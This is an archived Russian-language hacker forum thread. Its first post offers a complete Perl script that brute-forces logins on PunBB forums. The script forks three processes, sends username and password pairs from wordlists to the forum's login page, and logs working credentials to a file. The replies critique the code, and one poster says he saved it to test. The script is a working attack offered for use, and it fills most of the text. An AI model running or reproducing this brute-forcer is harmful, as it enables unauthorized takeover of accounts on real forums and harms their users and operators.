PDA

Просмотр полной версии : Брут на перле для punbb


ShAnKaR
23.08.2005, 20:12
брут идет в три потока, буду рад вашим коментам, исправлениям, критике
#########################################

#!/usr/bin/perl
use LWP;
unless($ARGV[0] && $ARGV[1] && $ARGV[2]){
print("use punbb.pl http://site/forum/ userfile wordlist\n");
exit;};
$url=$ARGV[0];
my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)',timeout=>10);

$userfile=$ARGV[1];
$file=$ARGV[2];

my ($pid,$pid2);
$|=1;

if(($pid=fork()) && ($pid2=fork())){
brut(0,$userfile,$file,$url);
}
elsif($pid && defined($pid2)){
brut(1,$userfile,$file,$url);
}
elsif(defined($pid)){
brut(2,$userfile,$file,$url);
}
else{
die("error fork()\n");
}

sub brut{

$str=shift;
$userfile=shift;
$file=shift;
$url=shift;

open(IN,"<$file") or die("can`t open wordlist\n");
my @arr=<IN>;
close(IN);
open(IN,"<$userfile");
my @ar=<IN>;
close(IN);

$q=$str*$#arr/3;
$q1=($str+1)*$#arr/3;

if($str==2){
splice(@arr,0,$q); }
elsif($str==1){
splice(@arr,0,$q);
splice(@arr,$q1,$#arr); }
elsif($str==0){
splice(@arr,$q1,$#arr); }

print "$str: wordlist loaded\n";

for(my $a=0 ; $a<=$#arr/3 ; $a++){
for($u=0;$u<=$#ar;$u++){

$user=$ar[$u];
$user=~s/\n$//g;

$pass=$arr[$a];
print $str.":".$pass;
$pass=~ s/\n$//;

$req = new HTTP::Request 'POST',$url.'login.php?action=in';
$data='form_sent=1&redirect_url='.$url.'index.php&req_username='.$user.'&req_password='.$pass.'&login=Login';
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);
$content=$res->content;

if($content=~ m/Logged in successfully/gi){

print "######################\n";
print "USER :$user\n"; print "PASS :$pass\n";
print "######################\n";
open(OUT,">>out-punbb.txt");
print OUT $user.":".$pass."\n";
close(OUT);
}}}}

qBiN
23.08.2005, 20:50
Я из-за цветов код увидеть не могу...

ais+
24.08.2005, 04:15
Сохранил.
Утром будет тестится.

KEZ
24.08.2005, 05:05
Вообще неплохо.

1) LWP лучше не использовать, вручную строить HTTP запрос
2)

if(($pid=fork()) && ($pid2=fork())){
brut(0,$userfile,$file,$url);
}


Очень неэстетично. Потоки (ну точнее процессы, пофигу) нужны для брута через прокси, иначе скорость практически не возрастет.
Однако перл ты знаешь хорошо...

3) перл бля этих делов не особо подходит, лучше просто писать для Unix на С, читай тему про мой брут для phpBB.

4) Смысл нулевой, как и от моего брута phpBB. Я невзлюбил phpBB а ты PunBB)) Ну что он тебе плохого сделал???)))))

nerezus
24.08.2005, 08:59
1) Lwp лучше не использовать, вручную строить Http запрос
Вобще-то, именно Lwpследует использовать. Т.к. правило хорошого тона.
//отмазки типа "его может не быть" не пойдут, т.к. есть он в стандартной поставке.

3) перл бля этих делов не особо подходит имхо он для этого идеален.
Приведи довод в опровержение, а? ;)

KEZ
25.08.2005, 02:11
Вашу мать,с кем я общаюсь? ))
Может вам обьяснить почему ненужно использовать Delphi?
Давайте тогда сразу будем все делать в виде .BAT файлов!


мхо он для этого идеален.
Приведи довод в опровержение, а?


А ты на перле видал pthread_ ? Думаю что нет. А ты в курсе как сделан fork() ?
А ты знаешь что перл не везде есть? А почему все что делается под линукс - делается ПРОСТО под gcc ?

nerezus
25.08.2005, 09:24
А ты знаешь что перл не везде есть?
ну вообще-то gcc есть еще реже

А почему все что делается под линукс - делается ПРОСТО под gcc ?
да-да-да, а FreeBSD сделана майкрософтом...